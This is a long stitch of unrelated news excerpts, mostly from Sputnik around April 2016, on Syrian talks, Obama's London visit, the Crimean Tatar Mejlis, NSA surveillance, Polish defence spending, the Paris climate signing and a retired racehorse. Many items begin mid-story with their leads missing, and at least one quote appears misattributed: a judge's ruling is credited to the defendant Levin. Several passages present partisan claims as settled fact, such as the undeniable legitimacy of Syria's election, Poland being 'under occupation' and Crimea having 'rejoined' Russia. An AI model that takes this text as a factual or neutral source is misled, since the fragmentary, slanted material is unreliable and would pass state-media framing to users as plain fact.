MOSCOW (Sputnik)  A former officer of the US Central Intelligence Agency (CIA) faces extradition to Italy over the abduction of an Egyptian cleric in Milan, The Washington Post reports.

"Ive spent years wanting to counter the charges against me. Right now, I want to know what happens, step by step, in Italy," Sabrina De Sousa told the newspaper on Thursday.

De Sousa, a dual Portuguese and American citizen, was among 26 Americans convicted in absentia in Italy for her involvement in the kidnapping of Hassan Mustafa Osama Nasr (Abu Omar) in February 2003 in Milan. She resigned from the CIA in 2009 and moved to Portugal last spring.
TOKYO (Sputnik)  The plane took off from Nagoya Airfield (Komaki Airport) in Aichi Prefecture at around 08:50 a.m. local time on Friday (23:50 GMT on Thursday) and landed safely at Gifu Air Field in Gifu Prefecture at 09:13 a.m. (00:13 GMT), Defense Ministry Program Manager Hirofumi Doi told Bloomberg by phone.

Japan is now the fourth nation, after the United States, Russia and China to test fly its own stealth jet.

The plane cost about $366 million to develop, according to Japans Defense Ministry. Mitsubishi Heavy Industries Ltd. led the developers' team.
The defense minister's announcement follows on statements made earlier to a similar effect. In January, Macierewicz said that Poland's armed forces, which currently number about 95,000 personnel, would grow to 150,000 in the coming years. Moreover, last week, he said that the government has plans to spend nearly $62 billion modernizing its military, a figure close to double the $34 billion the previous government planned to spend through to 2022.

Asked to comment on the defense ministry's plans, Tomasz Jankowski, an expert at the European Center for Geopolitical Analysis, told Sputnik Poland that the expansion will come at the expense of Polish taxpayers, who will be forced to give up more of their tax dollars to buy obsolete US weaponry.

"Everything will be arranged in such a way that we [Poles] will have to dip into our pockets," Jankowski said. "And that's not the worst thing about it. The worst thing (and what the Law and Justice government seems to want) is that all these purchases and modernization plans are devised for Poland to buy mostly obsolete US weaponry, which the US army no longer needs, and is looking to get rid of."

At the same time, the analyst noted, "the defense minister is doubtlessly taking advantage of an atmosphere of constant deception of Polish society, one which suggests that we are threatened with war, presumably against Russia, and that we should supposedly arm ourselves to ensure the country's defense."

Commenting on active negotiations between Berlin and Washington on the deployment of US troops to Poland, Jankowski suggested that this was a "key insight" indicating that Germany and the US, rather than Poland, are the ones making the decisions about the deployment of foreign troops in Poland. "This, in turn, means that Poland is under occupation. And because we are under occupation, there is no doubt that the increase in the army's size is not an independent decision, but rather an attempt to cover the spending of billions for American weapons."

Finally, the analyst noted, "returning to the term 'eastern flank', we need to ask ourselves the question: Whose eastern flank is it? Poland's or NATO's? They say openly that Polish is only the territory on which the military alliance operates, and Poland has no levers of pressure on itThe term 'flank' indirectly recognizes the fact that Poland is only an object of NATO's gamesmanship, and of the US military industry, which needs a market."
Babich believes Russian cybersecurity companies and specialists are not engaged in cyber war against the United States or elsewhere, that they "dont want to quarrel with the US and the EU," and are frustrated that the West takes such an aggressive posture towards them.

The journalist believes that the meeting between the two military superpowers will help to clear misconceptions, often advanced by Western media, that Russian hackers are "trying to attack the innocent West" when, in reality, Russia is both a competitor and a cooperative partner, engaged in activities that mirror US efforts.

Declan McCullagh agreed, likening US-Russian relations on cyber warfare to competition between tech giants Google and Apple. "Google competes with Apple, but it also releases maps and mail for the iOS Chrome browser  there is both cooperation and competition there," said McCullagh. "Similarly, the US and Russia are interested in the other partys computer vulnerabilities, data, and obtaining military and defense intelligence, but they also cooperate regularly on cybersecurity."


TOKYO (Sputnik)This would be the first trip of a sitting US president to the city that had an atomic bomb dropped on it by the US Air Force during the World War II.

"Nothing about President Obamas visit has been determined at this stage, I will refrain from making any predictions in this regard," Kishida told journalists after he was asked to comment on the rumors.

Nikkei Asian Review, a Tokyo-based business journal, cited US sources as saying earlier on Friday that the US and Japanese governments were in the process of arranging Obamas visit to Hiroshima, scheduled for May 27.


MOSCOW (Sputnik)The Italian delegation at the St. Petersburg International Economic Forum (SPIEF) in June will use the opportunity to discuss Romes economic and political ties with Moscow, the Italian ambassador to Russia said Friday.

As an honorary guest, Italy will be represented at the forum by a team of officials and business executives led by Prime Minister Matteo Renzi.

"The St. Petersburg forum is a very important event, probably the most important one in RussiaIt will present us with an opportunity to discuss the current state of our economic and political relations," Ambassador Cesare Ragaglini told RIA Novosti.
GENEVA (Sputnik)  The Syrian oppositions High Negotiations Committee (HNC) will not take part in the next round of talks on resolving the crisis in the country if there is no progress in the humanitarian situation and adherence to ceasefire, its spokesman told Sputnik on Friday.

Earlier this week, HNC postponed its participation in the latest round of the talks in protest of the ongoing violence in Syria for which they blame the Syrian government.

"If there is no progress of decisions related to the humanitarian aid, humanitarian access, liberation of women and children and full adherence to the ceasefire, we shall not take part in the May round," Monzer Makhous said.
GENEVA (Sputnik), Anastasia Levchenko  The next round of intra-Syrian talks in Geneva should focus solely on the issues of political transition in the country, and the opposition's High Negotiations Committee (HNC) is planning to present a full detailed plan on it, Monzer Makhous, HNC member, told Sputnik on Friday.

The latest round of the intra-Syria talks began on April 13, and according to the United Nations, was supposed to focus on Syria's political transition, governance, and the constitution. Earlier this week, the HNC postponed its participation in the latest round of the talks in protest of the ongoing violence in Syria for which they blame Damascus.

"For us there is one issue on the agenda, political transition. If they want to continue, they must discuss political transition," Makhous said.
On Wednesday, Sputnik learned from a source close to the HNC that the delegation had split over the issue of the necessity to continue the current round of intra-Syrian talks in Geneva. Part of the delegation insists on the "uselessness of talks" while fighting in Syria continues, for which they blame the Syrian government. The other side says these talks are the only chance to move toward settlement. Most members of the HNC delegation left the talks.

"No, these were just technical issues. The decision was largely supported. Maybe two or three people [were not in favour of it] but these were not serious disagreements. The fact that we are leaving the delegation gradually is linked to the fact that everyone is going to different counties," HNC's member Monzer Makhous said, adding that only three or four people were expected to remain at the talks on Friday night.
MOSCOW (Sputnik)  Uzbek President Islam Karimov will arrive in Russia on April 25 to discuss the economy and cooperation in international organizations with Russian President Vladimir Putin, the Kremlins press service announced Friday.

It is expected that during the high level talks the situation and outlooks of bilateral relations in the trade, economic, scientific, technological, and humanitarian spheres will be reviewed, the Kremlin said.

The Russian and Uzbek presidents will also exchange views on more actual issues on the regional and international agenda, and will discuss cooperation in various international organizations, including the Commonwealth of Independent States, Shanghai Cooperation Organization and the United Nations.
MOSCOW (Sputnik), Svetlana Alexandrova  The current Syrian constitution should not be changed during the transitional period, but elected national experts from different political groups may start working on a draft of the new one, a member of the Syrian Social Nationalist Party (SSNP) representing Syrias internal opposition group formed at Hmeymim base told Sputnik Friday.

On Thursday, Syrian Prime Minister Wael Nader Halqi told Sputnik in an interview that after a broad national unity government in the war-torn country is formed, it will begin work on the draft of the new Syrian constitution, which will be presented at a national referendum.

"Geneva I communique and [UN] Security Council resolution state that Syria needs to maintain its existing institutions. The most important institution is a country's constitution. The Syrian constitution should remain unchanged while the elected Syrians experts from different groups are working on a new Syrian constitution," Tarek Ahmad said.
DUNDEE (Sputnik)  US President Barack Obamas calls for the United Kingdom to remain within the European Union were aimed at underscoring the US-UK so-called special historic relationship, a former UK minister of state for Africa, Asia and the United Nations told Sputnik.

On Thursday, Obama urged London to retain the countrys EU membership to enhance Britains global leadership and also stressed the importance of the US-UK "special relationship" and partnership for the success of NATO and other international institutions and initiatives.

"Here he has combated out campaigners argument that this is a chance to restore old relationships, notably the Special Relationship not only by arguing that the UK is more important to the US in Europe but also by powerfully evoking a history of shared sacrifice in war to secure a stable democratic Europe," Lord Mark Malloch-Brown said.
Professor Tim Anderson, Australian social activist and academic, reported from the ground on the eve of the elections that Damascus and the people of Syria "are clearly taking to heart UN recognition that the country's political future must remain in the hands of Syrians, and no-one else."

According to the People's Council, the number of citizens who participated in the elections in the war-torn country amounted to 57.56 percent of the electorate. As a result Syria's ruling Baath party has won a decisive victory.

It is impossible to deny the legitimacy of the vote.

However, Washington refused to recognize the results of the Syrian vote. Remarkably, much in the same vein it denied the legitimacy of the 2014 Syrian presidential election, when President Assad received almost 88.7 percent of the vote.

"We have heard almost nothing about the Syrian Parliamentary elections last week. It was not just the usual corporate media blackout, but an orgy of hate toward the undefeated Syrian people by the US coalition and an international news service that acts like an extension of Western Intelligence," Jim W. Dean, managing editor for Veterans Today, comments on the issue in his article for New Eastern Outlook.

It is understandable why the US political establishment is unsatisfied with the vote: the elections have clearly indicated that the US-backed opposition enjoys little if any support from the Syrians.

"The last thing the opposition groups wanted to see or acknowledge was their tremendous defeat at the polls, as they could not continue their charade of representing the majority of the Syrian people, which is a bad joke," Dean remarks.
A maritime dispute over the South China Sea has become a sort of political tool for Washington, which is trying to ensure its geopolitical leadership in the region.

The Paracel and Spratly island chains and sovereignty over the sea areas lie at the root of the dispute between China and its South China Sea neighbors, including Brunei, Taiwan, Malaysia, the Philippines, and Vietnam.

However, it seems that in the eyes of Washington the controversy caused by overlapping interests in the region is a pretext for meddling into the region's affairs, experts say.
Commenting on the politics behind the diplomatic faux pas, Russian analysts say that it has significant implications for relations between the two countries, and for the situation in the region.

Speaking to Russia's Svobodnaya Pressa newspaper, Vasily Kuznetsov, the head of the Center for Arab and Islamic Studies at the Moscow-based Institute of Oriental Studies, suggested that among Arab countries in particular, issues of protocol are an important barometer of policy.

"The fact that Obama was met at the airport by a small delegation of officials, and that the media did not broadcast the details of the president's visit, indicates a serious demarche by Saudi authorities. Undoubtedly, it was not an issue of King Salman becoming unwell, or journalists accidentally forgetting to turn on their cameras," Kuznetsov noted.

"Of course," the analyst added, "this reception for Obama is evidence of the crisis in US-Saudi relations, for which there are several objective reasons. First and foremost is the Iran factor. The US understands the needs to integrate Iran into the regional system of international relations, and for a level of rapprochement. This, naturally, results in an extremely morbid reaction from Riyadh, which views Tehran as [its main] enemy."

"On the other hand, we must understand that US-Saudi relations have a rich history, deep economic and even personal connections between the elites of the two countries. So I would not say that the current cooling in relations is evidence of some global trend. It's possible that such crisis situations will recur more than once under the next president. Of course, the coming to power of a new administration in the US [next year] will give both parties an opportunity to begin a reset in relations."
GENEVA (Sputnik)  Russia will not appeal to the World Trade Organization (WTO) over the issue of Western anti-Moscow sanctions, as the organization is designed to deal with economic, but not political issues, Economic Development Minister Alexei Ulyukayev said Friday.

Our position is that political and economic tracks should not overlap. WTO Director-General [Roberto Azevedo] shares our position on this issue, Ulyukayev told reporters after a meeting with Azevedo.

According to the Russian official, during the meeting with the WTO head, the two officials reaffirmed their commitment to the rule that the participants of the WTO panel on dispute settlement should not be politically engaged.
The situation is still deteriorating, according to Jean-Nicolas, who gave this interview to Sputnik during his short visit to Moscow. Its a steady increase of violence that takes place in cities, in urban areas, which is creating a lot of needs in areas of medical supplies, evacuations and protection of the civilian population, said Jean-Nicolas.

It is ironic that just as the ICRC is increasing its budget by 20% to reach $100 million this year, the international press has more or less gone quiet on what is happening in Afghanistan. We certainly hear all about the problems migrants are causing in Europe, and Afghans are now the third largest group of migrants, but we hardly ever hear about the reasons these people are leaving Afghanistan in the first place.

As regards what is going to happen when western forces pull out completely, Jean-Nicolas was hesitant to make any predictions, but he did say that the western alliance has already made it clear that the pull out will be much longer than they previously announced, and that it is becoming more involved in supporting the Afghani army resist armed insurgencies. But, Jean-Nicolas said, he expects the next six months to be very violent.
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VLADIVOSTOK (Sputnik)  Russias Pacific Fleet and army forces struck sea targets on Friday during a joint exercise in the countrys Far East in the Sea of Japan, a spokesman for the Defense Ministrys Eastern Military District said.

"During the first stage of the drills, a boat strike group launched a missile attack at a sea target in the Peter the Great Gulf, followed by a successful attack from Bal coastal defense missiles systems on ships of enemy-decoy airborne forces," Capt. Rank Roman Martov said.

A total of 30 warships and supply vessels of Russias Pacific Fleet are taking part in the ongoing final leg of the winter military exercises. Su-24 bombers, as well as helicopters from the naval and army aviation branches of the Russian military provided air support to forces on the ground and at sea.
MOSCOW (Sputnik)  The St. George Ribbon campaign to distribute black-and-orange ribbons  a symbol of the Soviet victory in World War II  started in Russia on Friday, ahead of the Victory in Europe Day.

Rossiya Segodnya International News Agency Director General Dmitry Kiselev presented this year's first ribbons to representatives of the Immortal Regiment patriotic initiative during a press conference at the agency's building, where the idea of the campaign was born 11 years ago.

"This campaign, which began as an idea in the walls of our news agency in 2005, has developed into a large-scale flashmob. This ribbon is a foothold of values for people, which is more relevant today than ever," Kiselev told the press conference launching this year's event.


MOSCOW (Sputnik)The Kremlin welcomes the appointment of lawmaker Tatiana Moskalkova as new human rights commissioner of Russia, spokesman Dmitry Peskov said Friday.

Earlier in the day, 323 Russian State Duma lawmakers voted for the candidacy of Moskalkova of the Just Russia party. There were six candidates running for the position of the High Commissioner for Human Rights in the Russian Federation.

"We know that this time the president did not use his right to nominate a candidate. In this case, of course, the Kremlin welcomes this decision and welcomes this candidacy. We expect that all achievements, all good traditions of ombudsmen in this area will be continued," Peskov told reporters.
SIMFEROPOL (Sputnik)  The Russian Justice Ministry suspended Mejlis, a minority ethnic Tatar organization, after it was accused of links to terror groups like Hizb ut-Tahrir and Turkeys neo-nazi Gray Wolves. Washington said the decision contravened basic democratic principle.

"If the US State Department thinks it is important to keep an organization like Crimean Tatars Mejlis and they deem its activities 'democratic' they are free to create such an organization at home," Poklonskaya told RIA Novosti.

Crimea rejoined Russia after a referendum in March 2014, in which 96 percent of people in the region backed cessation from Ukraine. The United States imposed a range of individual and sectoral sanctions on Russia and its officials in the wake of the vote, including on Poklonskaya.
The Russian Justice Ministry suspended Mejlis, a minority ethnic Tatar organization, after it was accused of links to terror groups like Hizb ut-Tahrir and Turkeys neo-nazi Gray Wolves. Washington said the decision contravened basic democratic principles.

"The US State Department officially calls on not prohibiting Mejlis, citing high achievements in the field of culture. The only value that was cultivated in Mejlis was moneyI will not be afraid of the word 'maestro' of bribes," Balbec wrote in his Facebook page.
According to Russian Minister of Energy Alexander Novak, it is a great idea to co-locate the exhibition and the forum which has about two thousand participants who represent business, authorities and the expert community.

"This combination of events allows not only discussing all current problems during various panels but also seeing all current achievements in the industry. It promotes the fuel and energy sector, helps to sign contracts to supply equipment, technology, and so on. Neftegaz 2016 shows that there is plenty of equipment made in Russia which is on par with its foreign counterparts," the minister said.

"Expocentre Fairgrounds is a perfect place for both forum and exhibition. It accommodates a lot of companies. If this partnership becomes a tradition, we will be very happy," continued Alexander Novak.
CHAUDA (Russia) (Sputnik)  Russian Aerospace Forces will hold the Aviadarts-2016 competition in Crimea for the first time in history, Aerospace Forces Commander Col.Gen. Viktor Bondarev said Friday.

"The decision to hold such competition at the peninsula was made not coincidentally. This is a tribute paid to Crimea and its citizens, because this is the place, where Russian aviation has originated," Bondarev said, while inspecting Chauda testing ground in the eastern part of the Crimean peninsula.

He added that Chauda would be the first sea testing ground of Russian Aerospace Forces and would be used for both competitions and military drills.
UNITED NATIONS (Sputnik)  Earlier in the day, the deal became open for signature, with French President Francois Holland being the first to sign the 31-page document.

The agreement was signed by Russian Deputy Prime Minister Alexander Khloponin during an official signing ceremony held at the UN headquarters in New York.

World leaders from at least 171 nations are expected to sign the agreement on Friday.
Levin was charged with possession of child pornography. The charge was supplemented with evidence which reportedly included eight files containing illegal imagery. However, Levin's public defender successfully argued a technicality, stating that the warrant the FBI used to authorize the NIT was not valid because it violated Rule 41 of federal criminal procedure, restricting magistrate judges from authorizing warrants outside their geographical jurisdiction.

In Thursday's ruling, federal judge William G. Young said that the evidence against Levin, including the "eight media files allegedly containing child pornography," must be suppressed.

"The resulting search was conducted as though there were no warrant at all," Levin said.

Rule 41 is currently being reviewed by Congress, but it will take some six months before any change can come into effect. According to Senator Ron Wyden, "this is a serious, complicated issue that Congress needs to consider quickly, to ensure our laws are keeping up with technology." The FBI, though, acted before the changes to the rules were made, taking the straight, but illegal, path instead.

The FBI's error will most likely cause Levin's case to be dropped, jeopardizing other pending cases.

According to Electronic Frontier Foundation staff attorney Mark Rumold, "At this point, there were so many problems with the way the FBI conducted this investigation that the Department of Justice should just stop bringing these cases."
Klein is a now-retired 22-year AT&T employee who, in 2006, exposed that the company had a secret room in its San Francisco facility  Room 641A  where the NSA had been allowed to install a splitter to trap and record all Internet traffic coming and going over AT&T's backbone lines.

The continuing secrecy was consistent with the intent and detailed terms of the 2015 USA Freedom Act, Klein explained.

In the matter of NSA spying on phone call metadata, which [former NSA contractor] Ed Snowden revealed  the act's only "reform" was to replace the wholesale handing over to the NSA of millions of Americans' phone call metadata, with a more indirect system, he pointed out.

Klein observed that under the new system, the NSA would first submit a specific request to the Foreign Intelligence Surveillance Act (FISA) court. The actual records would be held by the phone companies, who would then comply with FISA court requests in individual cases, he said.

The Act did not address at all the invasive NSA spying on the internet via the secret rooms  revealed by me- at AT&T and other companies, Klein noted.

On the surface, the USA Freedom Act would seem to be a constriction on the NSA collection, if somewhat minor, Klein acknowledged.

However, he continued, the FISA court under Bush cooperated in secret with NSA to do the massive and illegal collection as far back as 2001, and the big phone companies like AT&T had no trouble in handing all of it over willingly, with no resistance.

The FISA court oversees requests for surveillance warrants against suspected foreign spies inside the United States by federal law enforcement and intelligence agencies.
"Upon being informed of this incident, we immediately reported it to the Agency and an investigation is taking place," IKEA spokeswoman Mona Liss said, in a statement to USA Today. "IKEA has been advised that the product was not attached to the wall, which is an integral part of the products assembly instructions."

The company, while offering their deepest condolences, maintains that they are committed to their Secure It! campaign, urging customers to secure furniture that children may climb. The Consumer Product Safety Commission reports that a child is killed every two weeks by furniture or appliances tipping over.
Sources tell TMZ, however, that Prince was rushed to a hospital after an emergency landing in Moline, Illinois, and given a "save shot," typically used to treat an overdose. The music legend had just performed a show at the Fox Theater in Atlanta, Georgia.

While doctors reportedly urged Prince to remain hospitalized for 24 hours, he left after just 3, because the facility could not provide a private room.
US Lieutenant commander Jeremiah Daley, in charge of a Cyclone-class Navy patrol boat in the Persian Gulf, is under investigation after a February survey revealed that his crew had no trust in his leadership, a Navy report obtained by the Associated Press read.

Sailors revealed that their commander slept drunk on a bench at a port in Dubai while on duty, had surprisingly close associations with some of the crewmembers, and failed to report badly needed repairs for the vessel, including the engines and the fire-suppression system.

According to the report, one of the sailors claimed that Daleys demeanor was the worst he had seen in an almost three-decade career.
The American militarys shrinking capabilities have very little to do with money, Davis states in his article for The National Interest magazine.

The increase in defense spending, which has been so heavily lobbied by the countrys military wont solve the problem.

The problem lies in internal mismanagement within the Department of Defense and the only way out is through undergoing considerable reforms.
Internal Commission documents and correspondence obtained by NGOs under the freedom of information law reveal that US representatives pushed to exempt plants and animals produced through genome editing and other new techniques from existing EU GMO rules.

Commission fails to regulate new GMOs after intense US lobbying  https://t.co/fqfcabpdGt #TTIP strikes again  even before it's signed  Glyn Moody (@glynmoody) April 22, 2016

The question balances on the use of a technique known as Oligonucleotide-directed mutagenesis (ODM) for precision gene editing  in a nutshell: using new methods to modify the DNA of a living organism. The European Commission received legal opinion that ODM was a "GM technique" and thus came under the strict EU rules on GMOs. The US delegation described the ruling as "another blow to agriculture and technology".

The documents  released by Greenpeace, Corporate Europe Observatory and GeneWatchUK  show that US pressure focused on potential barriers to trade from the application of EU GMO law. It appears the US wants the EU to drop health and environmental safeguards on GMOs to pave the way for a TTIP, the next round of negotiations on which starts on April 25 in New York.
"The energy released during collision was 50 times more than all the stars in the universe combined at that instance," added Jani, whose work involves simulating black holes on supercomputers and searching for massive black hole collisions in LIGO data.

On March 31, India and the US signed an agreement for a new LIGO project in India during Prime Minister Narendra Modi's visit to Washington. The prime minister also met Indian student scientists, including Jani and Aggarwal.

"During our meeting, the prime minister said he would like the LIGO scientists to make frequent India trips to popularize the science in colleges in India," Aggarwal said.

Beyond ordinary breakthroughs. PM @narendramodi greets scientists from LIGO, who proved gravitational waves theory pic.twitter.com/jiC37F8ZsT  Vikas Swarup (@MEAIndia) 31  2016 .

The LIGO is a joint physics experiment and observatory to test a component of Albert Einstein's theory of relativity, the existence of gravitational waves. More than 900 scientists worldwide are involved in the project. India is the third highest membership.

The $1 billion LIGO experiment bounces a laser beam between mirrors that are positioned at either end of two 4-kilometer arms. If a gravitational wave passes through the detector, the length of one of these arms will change ever so slightly compared to the other, affecting the arrival time of the laser light by a fraction of a second.
WASHINGTON (Sputnik)  The CIA director arrived from Saudi Arabia, where he met with senior officials from six Gulf Arab nations aimed at coordinating efforts in the conflicts in Iraq, Syria and Yemen, the report said.

"Brennan's visit demonstrates that the United States is interested and willing to help Bosnia to further develop its capacities to counter terrorism," security expert Armin Krzalic told the publication.
WASHINGTON (Sputnik)  The continued function of National Security Agency (NSA) surveillance protected by a special court confirms that the population of the United States is still trapped in a national security state, Nuclear Age Peace Foundation Alice Slater told Sputnik on Friday.

"Ever since 9/11 [the al-Qaeda terror attacks of September 11, 2001] were living in a national security state and we cant even learn the truth about 9/11 as they refuse to declassify portions of the 911 Commission Report," Slater said.

The atmosphere of continued terror alerts and paranoia against even law-abiding elements of the population recalled the darkest days of the anti-communist witch hunts by Senator Joe McCarthy in the 1950s, Slater maintained.
"Europe is being taken hostage by American policy," said EU parliament official Marietje Schaake, according to Arutz Sheva. "We negotiated the nuclear deal together, but now the US is obstructing its execution."

Other officials complained about US threats against attempts to bring Iran out of its isolation, according to AntiWar.com.

"Several major companies across the world are in line for major contracts with Iran to modernize their economy after protracted sanctions," Jason Ditz writes for AntiWar, "but getting those deals done is moving at a snails pace, with the US blocking international banks from facilitating money transfers to pay for them, and the US threatening travel bans on European businessmen who go to Iran."

Iranian Minister of Foreign Affairs Mohammad Javad Zarif has stressed that he will continue to push the US to honor its end of the nuclear agreement.
Nordic countries have been accused of complicity in child abuse, due to allowing child brides fleeing war-torn Middle Eastern countries, including Syria and Afghanistan, to remain in cohabitation with their older husbands. Authorities observe that, for refugee girls in such a position, it is less traumatic to stay with their partners, regardless of the age difference.

"Minors seeking asylum are in a difficult situation, where they have left their homeland, family and friends, and, the partner they have traveled with can be the only person they know and trust in Norway," said Heidi Vibeke Pedersen, a senior official from the Norwegian Directorate of Immigration (UDI).

In Norway, where 16 is the minimum legal age for sex and marriage, 10 out of 31,000 refugees arriving to the country over the course of a year were under 16 and married, and four had children. Some couples were allowed to live together, the UDI told Reuters.


MOSCOW (Sputnik)US President Barack Obama is expected to visit the Japanese city of Hiroshima after a summit of G7 world leaders in Japan in May, a Japanese journal cited US official sources as saying Friday.

This would be the first trip of a sitting US president to the city that had an atomic bomb dropped on it by the US Air Force during the World War II.

Obama is expected to call for "a world without nuclear weapons," the Tokyo-based business journal Nikkei Asian Review reported. He will be careful not to appear "apologetic," which would raise anger at home, the outlet added.
In an interview with Sputnik, President of the Turkish Human Rights Association Ozturk Turkdogan said that Turkey's EU accession will remain impossible until Ankara stops oppressing the Kurds , reforms its approach to Syrian refugees and guarantees basic human rights.

The interview came after Brussels and Ankara agreed in March on a deal under which Turkey pledged to take back all undocumented migrants who arrive in the EU through its territory in exchange for asylum seekers from Syria, on a one-for-one basis.

In return, the EU pledged to provide a total of 3 billion euros (over 3.3 billion dollars) to Turkey to help it provide for the refugees there, with a further 3 billion-euro provision possible, as well promising to accelerate Ankara's EU accession bid and introduce a visa-free regime between Turkey and Europe.
With nine months left in office, President Obama apparently must again seek to reassure his Middle Eastern allies, who remain upset over American policies in the region.

Apart from tense relationship with Saudi Arabia over Iran, the fight against terrorism and the potential release of long-delayed documents said to implicate Saudi officials in the 9/11 attacks, there is another Middle Eastern country where less-than-cordial attitudes are likely to persist through the end of President Obama's term.

Although in the aftermath of the bitter political battle over the Iranian nuclear deal many expressed hope that hatchets would be buried and the remainder of the Obama term would show a marked improvement in the US-Israel relationship, it continues to be apparent that this will not be the case, notes one US-based news agency specializing in coverage of the Middle East, The Media Line.
The Russian Justice Ministry suspended Mejlis after request from Crimeas chief prosecutor who accused the group of extremism and links to terror groups like Hizb ut-Tahrir.

"We call on the Russian Federation to reverse the Ministry of Justices recent decision to designate the Crimean Tatar Mejlis as an extremist organization," US Departments spokesman John Kirby said Thursday.
MOSCOW (Sputnik)  Portuguese energy Company Galp Energia confirms having purchased liquefied natural gas (LNG) cargo that is currently en route from the United States to Portugal, a companys spokesman told Sputnik Friday.

"We can confirm that we have purchased that cargo," Pedro Marques Pereira said, commenting on the reports about US LNG shipment to Portugal.
MOSCOW (Sputnik)  Moscow's stance on the Golan Heights remains unchanged and is in line with UN Security Council resolutions, Kremlin spokesman Dmitry Peskov said Friday.

"The Russian stance is not changing in any way, it is in line with the relevant Security Council resolutions, there are no new elements to this position," Peskov told reporters.

Israeli Prime Minister Benjamin Netanyahu told Russian President Vladimir Putin during a meeting on Thursday that the Golan Heights would remain under Israel's control. The UN Security Council defines the region as occupied Syrian land.


DAMASCUS (Sputnik)UN efforts have not had any success in the intra-Syrian talks because terrorist groups do not want to preserve the Syrian government and progress has not been reached in the talks due to the fact that the opposition delegations are not united, Syrian Prime Minister Wael Nader Halqi told Sputnik.

The main reason for the lack of success in UN efforts and its special envoys is that terrorist groups and their patrons are against preserving the Syrian government and its institutions. The leadership of the Syrian people respects the exclusive right of Syrians on defining their current and future [lives], Halqi said in an interview.

Halqi said progress that Damascus was hoping for was not reached in the talks because there is a lack of unity from the opposition delegations that reflects the opinion of the Syrians.
Obama, who is in Britain for an official visit, urged the United Kingdom on Thursday to stick together with other EU member states and warned that supporting the Leave campaign at the June 23 referendum would reduce UKs global influence.

"I think the President is quite wrong to intervene, and to intervene on the wrong side. He does not want his country to be placed under the control of some regional grouping. As an advocate of liberty and democracy for most of the world, why does he wish to prevent the UK from enjoying them?" John Redwood said.
BRUSSELS (Sputnik)  Earlier in the day, Klaus Regling, the managing director of the European Stability Mechanism (ESM), said that Eurogroup finance ministers rejected to cut the nominal value of Athens' debt.

"I consider that there is no need in 'haircut,' this means that there is no need to change the nominal value of the debt," Lagarde said at a press conference.
GENEVA (Sputnik)  The World Trade Organization (WTO) agreed to establish a panel to examine Ukraines anti-dumping measures on ammonium nitrate imports from Russia, a WTO source told RIA Novosti on Friday.

"The Dispute Settlement Body agreed today to establish a panel requested by the Russian Federation over anti-dumping measures applied by Ukraine to ammonium nitrate imported from Russia," the source said.
Russian judge Konstantin Belik has been decorated with France's National Order of Merit for saving a two-year-old French girl, according to the press service of the court department of Primorye Territory, Russia.

The French National Order of Merit has been awarded to Konstantin Belik, chairman of a district court in Primorye Territory in the Russian Far East, who did not think twice before saving a two-year-old French girl, the press service of Primorye Territory's court department reported.


WASHINGTON (Sputnik)According to US officials, the purchase is intended to help Iran quickly reduce its stockpile of nuclear material as required by the Joint Comprehensive Plan of Action (JCPOA) and encourage other countries to make similar purchases.

"The idea is: Okay, we tested it, its perfectly good heavy water. It meets [specifications]. Well buy a little of this," US Secretary of Energy Ernest Moniz was quoted as saying by The Wall Street Journal. "That will be a statement to the world: You want to buy heavy water from Iran, you can buy heavy water from Iran. Its been done. Even the United States did it."

The Energy Department has not specified how it will pay for the 32 tons of heavy water. The material is expected to be used in scientific research and could also be sold to private companies for commercial purposes, according to the media outlet.


MOSCOW (Sputnik)Iran and the P5+1 powers are making progress on the issue of lifting sanctions against the Islamic Republic, but resolving the matter could still take some time, Russias permanent envoy to the International Atomic Energy Agency (IAEA) said Friday.

"This was one of the most important topics discussed today. I can say that there is an intensive dialogue and there are clear indications that the issue is starting to move forward. But these issues are definitely very complicated and this process will take some more time," Vladimir Voronkov told RIA Novosti.
Speaking at the start of the high-level signature ceremony for the Paris Agreement, Ban noted that the 170 heads of state and other officials present in the UN chamber set a new record.

"But records are also being broken outside. Record global temperatures, record ice [melting], record carbon levels in the atmosphere. We are in a race against time. I urge all countries to move quickly to join the agreement at the national level so that the Paris Agreement can enter into force as early as possible," he stressed.
NEW YORK (Sputnik)  Some 170 countries have gathered at the UN headquarters in New York to sign a climate change agreement reached in Paris last December, UN Secretary General Ban Ki-moon said in a speech at the opening ceremony on Friday.

"Today, at least 171 countries have gathered here in New York to sign the Paris agreement," Ban said. "This is history in the making."

Fridays event will set a record for the most countries to sign an international agreement on a single day, the secretary general added.
WASHINGTON (Sputnik)  The guided-missile destroyer USS Donald Cook and an Orion P-3 surveillance aircraft, known for its submarine hunting capabilities, have joined the Swedish navy in a series of maneuvers in the Baltic Sea, the US Navy announced in a press release on Friday.

"The ability to execute anti-submarine warfare (ASW) flight operations into the Baltic Sea from regional partner nations is crucial to maintaining theater security," mission chief Lieutenant Commander Matthew Garcia said in the release. "Drills and exercises like this with our partners provide vital opportunities to increase our ASW expertise, improve allied naval interoperability, and refine our expeditionary capabilities."
MOSCOW (Sputnik)  Russia affirms its adherence to the World Trade Organizations (WTO) principles by adopting amendments to the agreement establishing the WTO, the Russian Foreign Ministry said in a statement Friday.

Russia submitted its protocol on amendments to the Marrakesh Agreement to WTO Director-General Roberto Azevedo earlier in the day. Russian President Vladimir Putin signed into law the protocol amending Annex 1A to the agreement on March 2.

"By fulfilling the commitments for the adoption of the Protocol on Amendments to the Marrakesh Agreement, Russia confirmed its adherence to the goals and principles of the WTO," the ministry said.
BEIJING (Sputnik)  China and Russia have great potential for cooperation in the area of space exploration, the head of the Chinese National Space Administration (CNSA) said on Friday.

"Russia and China have a good mechanism of cooperation," Xu Dazhe said.
WASHINGTON (Sputnik)  The United States and United Kingdom have no plans to deploy troops against the Daesh terrorist group in Libya, US President Barack Obama said in London on Friday.

"There is no plans for ground troops in Libya. I dont think thats necessary [and] I dont think it would be welcomed by this new government [of national accord]. It would send the wrong signal," Obama told reporters during a press conference with UK Prime Minister David Cameron.
WASHINGTON (Sputnik)  The cessation of hostilities in Syria has resulted in a notable decline in violence since it was agreed to in February, US President Barack Obama said on Friday.

The cessation of hostilities actually held longer than I expected, and for seven weeks we have seen a significant reduction in violence inside that country, Obama said in a press conference in London.

Obama stated that he and Russian President Vladimir Putin spoke on Monday to reinforce the importance of us trying to maintain the cessation of hostilities.
Reports indicate that 2015 Breeders Crown winner Creatine has been retired due to injury and will commence a stud career.

Creatine (Andover Hall - Berry Nice Muscles) spent the majority of his five-year-old year racing in Europe for owners Big C Racing of Pennsylvania. He rounded out his four-year-old year with tremendous consistency, finishing in the top three of all the major stakes for open trotters with wins in the Allerage and the American-National. He was then sent to Europe to race as a five-year-old out of the Robert Bergh stable.

